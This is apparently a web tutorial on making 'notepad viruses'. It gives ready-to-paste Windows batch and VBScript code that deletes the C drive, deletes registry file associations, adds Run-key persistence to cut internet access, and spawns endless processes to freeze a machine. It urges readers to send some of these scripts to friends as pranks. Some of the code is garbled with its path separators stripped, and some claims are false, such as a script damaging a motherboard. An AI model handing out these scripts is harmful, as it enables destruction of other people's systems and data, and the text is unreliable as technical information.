create a virus

It’s very easy to make viruses. But It may be dangerous too. Learn how to create a computer virus in less than 60 seconds.

Virus creation takes time and knowledge, but anyone can do it if they put their mind to it. Creating a virus can teach you a lot about how a virus would be created and works.

Basically, the virus is of various types and kinds like Trojan, horse and each of them is different and harmful too.

So, have you ever thought about how to create a virus by yourself? Well, it is easy and one can create it within sixty seconds.

Most of you would be thinking that the method involves a lot of coding which needs to be executed.

Today we are going to describe five ways to create a virus in less than a minute. Go through the post to know about it.

1. Creating a Dangerous Virus

Step 1. First of all, in your Windows OS, open the notepad.

how to create a virus

Step 2. Now copy and paste the below code in your notepad screen.

@Echo off
Del C: *.* |y

Step 3. Now save this file as virus.bat (you can select any of random name but .bat after that must be there).

create a virus

Now running the file will delete the C drive completely, and the operating system of the respective computer will get corrupted.

Note: This method is only for educational purposes. Don’t try this on your computer as it will completely format your C drive.

2. Creating a Harmless Cdrom Virus

Open Notepad and Paste the following code into it and save it as CD-ROM.vbs or anything *.vbs

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

When you double click on this file, you will be amazed at what this simple, harmless virus can do. Your CD/DVD drives will get continuously ejected.

To stop this virus, you need to open the Task Manager and select the process tab and end the wscript.exe file.

3. Create a Virus To Test Your Antivirus

Open notepad and paste the given code and simply save the file as “EICAR.COM”

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

If you have an active antivirus, then your antivirus program will simply remove this file in no-time. This is the harmless virus that is used to check the security level of your antivirus.

4. Virus To Stop Someone’s Internet Access

This is a harmless virus and it will not destroy your PC. You can use this notepad virus scripts to prank your friends. This virus stops anyone’s internet access. You need to type
the following code in the notepad.

@Echo off
Ipconfig /release

Now Save the file as a .bat format like internet.bat and sent it to your friends.  The IP address will be lost, and therefore they won’t be able to fix it. Well, if you want to fix it. Simply type in IPconfig /renew. So, this is one of the best notepad virus pranks.

5. Creating a Matrix Type screen

Well, it’s not a virus. It is just a simple notepad trick that will let you see the string of green characters appearing randomly. It has nothing to do with your computer registry, batch, etc. You can use this trick to scare your friend because the screen looks like a virus affected.

Simply open Notepad and type the following code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Now save the file as Matrix.bat, and click on it and the show begins.

Note: The damages caused by these viruses are irreversible

1 Disable Internet Permanently

The below code will disable anyone’s internet connectivity PERMANENTLY.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE

#2 Endless Notepads

The below code will pop up endless notepads until the computer freezes and crashes!

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

#3 Endless Enter

The below code will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

#4 Delete Key Registry Files

Before trying the notepad virus, please keep in mind that this is a dangerous and unrecoverable virus which can cause permanent damage to your operating system. Reinstalling Windows is the only option to recover from this dangerous virus.

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your PC has been crashed.Your Dad.
GOTO MESSAGE

#5 App Bomber

This is another dangerous virus which can freeze computer in no-time. Basically, this virus will open different applications repeatedly which forces the computer to freeze. This virus can also damage your motherboard, so try this at your own risk.

@echo off
😡
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x

You can add your own application in the above-given code.